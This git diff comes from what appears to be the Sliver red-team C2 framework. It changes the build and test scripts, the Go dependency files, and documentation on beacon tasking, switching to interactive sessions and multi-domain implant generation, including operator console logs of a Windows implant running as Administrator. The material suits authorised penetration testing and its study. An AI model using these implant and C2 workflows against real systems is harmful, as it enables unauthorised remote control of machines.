-
-```
-[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
-
-[server] sliver > beacons
-
- ID         Name                     Tasks   Transport   Remote Address        Hostname          Username                        Operating System   Last Check-In    Next Check-In 
-========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
- 8c465643   RELATIVE_ADVERTISEMENT   0/0     mtls        192.168.1.178:54701   WIN-1TT1Q345B37   WIN-1TT1Q345B37\Administrator   windows/amd64      49.385459s ago   37.614549s 
-
-[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
-
-[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
-
-[server] sliver (RELATIVE_ADVERTISEMENT) >
-```
-
-You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
-
-```
-[server] sliver (RELATIVE_ADVERTISEMENT) > ls
-
-[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
-
-[+] RELATIVE_ADVERTISEMENT completed task 962978a6
-
-C:\git
-======
-drwxrwxrwx  a                           <dir>     Wed Dec 22 15:34:56 -0600 2021
-...
-```
-
-Tasks will execute in the order they were created (FIFO). 
-
-__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
-
-You can view previous tasks executed by the active beacon using the `tasks` command:
-
-```
-[server] sliver (RELATIVE_ADVERTISEMENT) > tasks 
-
- ID         State       Message Type   Created                         Sent                            Completed                     
-========== =========== ============== =============================== =============================== ===============================
- 90294ad2   completed   Ls             Sat, 22 Jan 2022 14:45:00 CST   Sat, 22 Jan 2022 14:45:11 CST   Sat, 22 Jan 2022 14:45:11 CST 
- 962978a6   completed   Ls             Sat, 22 Jan 2022 14:42:43 CST   Sat, 22 Jan 2022 14:43:53 CST   Sat, 22 Jan 2022 14:43:53 CST 
-```
-
-You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
-
-#### Switching from Beacon Mode to Session Mode
-
-You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
-
-```
-[server] sliver (RELATIVE_ADVERTISEMENT) > interactive 
-
-[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
-[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
-
-[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
-```
-
-__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
-
-When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
-
 
 ## Multiple Domains/Protocols
 
-You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
+You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
 
 ```
 sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
@@ -242,13 +140,4 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
 
 Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
 
-## What Next?
 
-Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
-
-* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
-* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
-* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
-* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
-* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
-  

go-assets.sh

@@ -16,12 +16,12 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <https://www.gnu.org/licenses/>.
 
-set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.17.6"
+GO_VER="1.17.3"
 GARBLE_VER="1.17.5"
+COFF_LOADER_VER="1.0.7"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
@@ -50,7 +50,7 @@ fi
 
 REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
 OUTPUT_DIR=$REPO_DIR/server/assets/fs
-mkdir -p $OUTPUT_DIR
+CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
 WORK_DIR=`mktemp -d`
 
 echo "-----------------------------------------------------------------"
@@ -134,20 +134,23 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
 rm -rf ./go
 rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
 
+# --- Client ---
+mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
+mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
+
 echo "-----------------------------------------------------------------"
 echo " Garble"
 echo "-----------------------------------------------------------------"
+curl -L --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
+curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
+curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
+curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
 
-echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
-curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
-file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
-
-echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
-curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
-echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
-curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
-echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
-curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
+echo "-----------------------------------------------------------------"
+echo " COFF Loader"
+echo "-----------------------------------------------------------------"
+curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
+curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
 
 # end
 echo -e "clean up: $WORK_DIR"

go-tests.sh

@@ -17,49 +17,21 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <https://www.gnu.org/licenses/>.
 
-echo "----------------------------------------------------------------"
-echo "WARNING: Running unit tests on slow systems can take a LONG time"
-echo "         Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
-echo "----------------------------------------------------------------"
-TAGS=osusergo,netgo,cgosqlite,sqlite_omit_load_extension
-
-## Client
-
-# client / command / alias
-if go test -tags=client,$TAGS ./client/command/alias ; then
-    :
-else
-    exit 1
-fi
-
-# client / command / extensions
-if go test -tags=client,$TAGS ./client/command/extensions ; then
-    :
-else
-    exit 1
-fi
 
 ## Util
 
-# util 
-if go test -tags=server,$TAGS ./util ; then
-    :
-else
-    exit 1
-fi
-
 # util / encoders
-if go test -tags=server,$TAGS ./util/encoders/basex ; then
+if go test -tags=server ./util/encoders/basex ; then
     :
 else
     exit 1
 fi
-if go test -tags=server,$TAGS ./util/encoders ; then
+if go test -tags=server ./util/encoders ; then
     :
 else
     exit 1
 fi
-if go test -tags=client,$TAGS ./util/encoders ; then
+if go test -tags=client ./util/encoders ; then
     :
 else
     exit 1
@@ -68,7 +40,7 @@ fi
 ## Implant
 
 # implant / sliver / transports / dnsclient
-if go test -tags=server,$TAGS ./implant/sliver/transports/dnsclient ; then
+if go test -tags=server ./implant/sliver/transports/dnsclient ; then
     :
 else
     exit 1
@@ -77,7 +49,7 @@ fi
 ## Server
 
 # server / website
-if go test -tags=server,$TAGS ./server/website ; then
+if go test -tags=server ./server/website ; then
     :
 else
     cat ~/.sliver/logs/sliver.log
@@ -85,7 +57,7 @@ else
 fi
 
 # server / loot
-if go test -tags=server,$TAGS ./server/loot ; then
+if go test -tags=server ./server/loot ; then
     :
 else
     cat ~/.sliver/logs/sliver.log
@@ -93,7 +65,7 @@ else
 fi
 
 # server / certs
-if go test -tags=server,$TAGS ./server/certs ; then
+if go test -tags=server ./server/certs ; then
     :
 else
     cat ~/.sliver/logs/sliver.log
@@ -101,15 +73,7 @@ else
 fi
 
 # server / cryptography
-if go test -tags=server,$TAGS ./server/cryptography ; then
-    :
-else
-    cat ~/.sliver/logs/sliver.log
-    exit 1
-fi
-
-# server / cryptography / minisign
-if go test -tags=server,$TAGS ./server/cryptography/minisign ; then
+if go test -tags=server ./server/cryptography ; then
     :
 else
     cat ~/.sliver/logs/sliver.log
@@ -117,7 +81,7 @@ else
 fi
 
 # server / gogo
-if go test -tags=server,$TAGS ./server/gogo ; then
+if go test -tags=server ./server/gogo ; then
     :
 else
     cat ~/.sliver/logs/sliver.log
@@ -125,7 +89,7 @@ else
 fi
 
 # server / c2
-if go test -tags=server,$TAGS ./server/c2 ; then
+if go test -tags=server ./server/c2 ; then
     :
 else
     cat ~/.sliver/logs/sliver.log
@@ -133,7 +97,7 @@ else
 fi
 
 # server / configs
-if go test -tags=server,$TAGS ./server/configs ; then
+if go test -tags=server ./server/configs ; then
     :
 else
     cat ~/.sliver/logs/sliver.log
@@ -141,7 +105,7 @@ else
 fi
 
 # server / console
-if go test -tags=server,$TAGS ./server/console ; then
+if go test -tags=server ./server/console ; then
     :
 else
     cat ~/.sliver/logs/sliver.log
@@ -149,7 +113,7 @@ else
 fi
 
 # server / generate
-if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
+if go test -tags=server ./server/generate -timeout 6h ; then
     :
 else
     cat ~/.sliver/logs/sliver.log

go.mod

@@ -5,8 +5,6 @@ go 1.17
 // fix wgctrl requiring old wireguard
 replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
 
-replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
-
 require (
 	github.com/AlecAivazis/survey/v2 v2.2.2
 	github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
@@ -23,8 +21,8 @@ require (
 	github.com/fatih/color v1.12.0
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/gofrs/uuid v3.3.0+incompatible
-	github.com/golang/protobuf v1.5.2 // indirect
-	github.com/google/uuid v1.3.0
+	github.com/golang/protobuf v1.5.2
+	github.com/google/uuid v1.2.0
 	github.com/gorilla/mux v1.8.0
 	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
@@ -34,7 +32,7 @@ require (
 	github.com/lesnuages/snitch v0.6.0
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/mattn/go-isatty v0.0.13 // indirect
-	github.com/mattn/go-sqlite3 v1.14.9
+	github.com/mattn/go-sqlite3 v1.14.5
 	github.com/miekg/dns v1.1.35
 	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pquerna/otp v1.3.0
@@ -61,16 +59,13 @@ require (
 )
 
 require (
+	github.com/emirpasic/gods v1.12.0
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
-	github.com/shirou/gopsutil/v3 v3.21.10
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
-	modernc.org/sqlite v1.14.3
 )
 
 require (
 	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
-	github.com/StackExchange/wmi v1.2.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
 	github.com/VividCortex/ewma v1.1.1 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
@@ -82,7 +77,6 @@ require (
 	github.com/desertbit/closer/v3 v3.1.2 // indirect
 	github.com/desertbit/readline v1.5.1 // indirect
 	github.com/dlclark/regexp2 v1.2.0 // indirect
-	github.com/go-ole/go-ole v1.2.6 // indirect
 	github.com/go-sql-driver/mysql v1.5.0 // indirect
 	github.com/google/btree v1.0.1 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
@@ -98,28 +92,16 @@ require (
 	github.com/jinzhu/inflection v1.0.0 // indirect
 	github.com/jinzhu/now v1.1.2 // indirect
 	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
-	github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
 	github.com/mattn/go-colorable v0.1.8 // indirect
 	github.com/mattn/go-runewidth v0.0.9 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
-	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/mod v0.3.0 // indirect
 	golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
+	golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.1.0 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
 	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
 	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
-	lukechampine.com/uint128 v1.1.1 // indirect
-	modernc.org/cc/v3 v3.35.18 // indirect
-	modernc.org/ccgo/v3 v3.12.95 // indirect
-	modernc.org/libc v1.11.104 // indirect
-	modernc.org/mathutil v1.4.1 // indirect
-	modernc.org/memory v1.0.5 // indirect
-	modernc.org/opt v0.1.1 // indirect
-	modernc.org/strutil v1.1.1 // indirect
-	modernc.org/token v1.0.0 // indirect
 )

go.sum

@@ -37,8 +37,6 @@ github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61
 github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
 github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
 github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
-github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=
-github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8=
 github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab h1:96tkQLYmgypA3W42fvC3UX3EoOP3hQZuT7d98lnnwyc=
 github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
 github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
@@ -104,14 +102,16 @@ github.com/desertbit/columnize v2.1.0+incompatible h1:h55rYmdrWoTj7w9aAnCkxzM3C2
 github.com/desertbit/columnize v2.1.0+incompatible/go.mod h1:5kPrzQwKbQ8E5D28nvTVPqIBJyj+8jvJzwt6HXZvXgI=
 github.com/desertbit/go-shlex v0.1.1 h1:c65HnbgX1QyC6kPL1dMzUpZ4puNUE6ai/eVucWNLNsk=
 github.com/desertbit/go-shlex v0.1.1/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
+github.com/desertbit/grumble v1.1.1 h1:1wxy6ka1aqbtA3kZIHaPfB/DD91HSM2m4Kx2QIIGfpE=
+github.com/desertbit/grumble v1.1.1/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
 github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM53Os=
 github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
 github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
 github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
 github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
 github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
-github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
-github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
+github.com/emirpasic/gods v1.12.0 h1:QAUIPSaCu4G+POclxeqb3F+WPpdKqFGlw36+yOzGlrg=
+github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
 github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
 github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
 github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
@@ -136,9 +136,6 @@ github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2
 github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
 github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
 github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
-github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
-github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
-github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
 github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
 github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
 github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
@@ -177,18 +174,15 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw
 github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
 github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
 github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
 github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ=
-github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
 github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
 github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
 github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
 github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
 github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs=
 github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
-github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
 github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
 github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
 github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
@@ -321,8 +315,6 @@ github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
 github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
 github.com/lib/pq v1.3.0 h1:/qkRGz8zljWiDcFvgpwUpwIAPu3r07TDvs3Rws+o/pU=
 github.com/lib/pq v1.3.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
-github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
-github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
 github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
 github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
 github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
@@ -346,8 +338,8 @@ github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m
 github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
 github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
 github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
-github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
-github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
+github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
+github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
 github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
 github.com/mdlayher/genetlink v1.0.0/go.mod h1:0rJ0h4itni50A86M2kHcgS85ttZazNt7a8H2a2cw0Gc=
 github.com/mdlayher/netlink v0.0.0-20190409211403-11939a169225/go.mod h1:eQB3mZE4aiYnlUsyGGCOpPETfdQq4Jhsgf1fk3cwQaA=
@@ -369,8 +361,6 @@ github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:F
 github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
 github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
 github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
-github.com/moloch--/grumble v1.1.4 h1:/utJ405bbS2/Kx73XE03zqP1a3ZE9p3vqD3ePvsrG8o=
-github.com/moloch--/grumble v1.1.4/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
 github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
@@ -401,8 +391,6 @@ github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y8
 github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
 github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
 github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
-github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
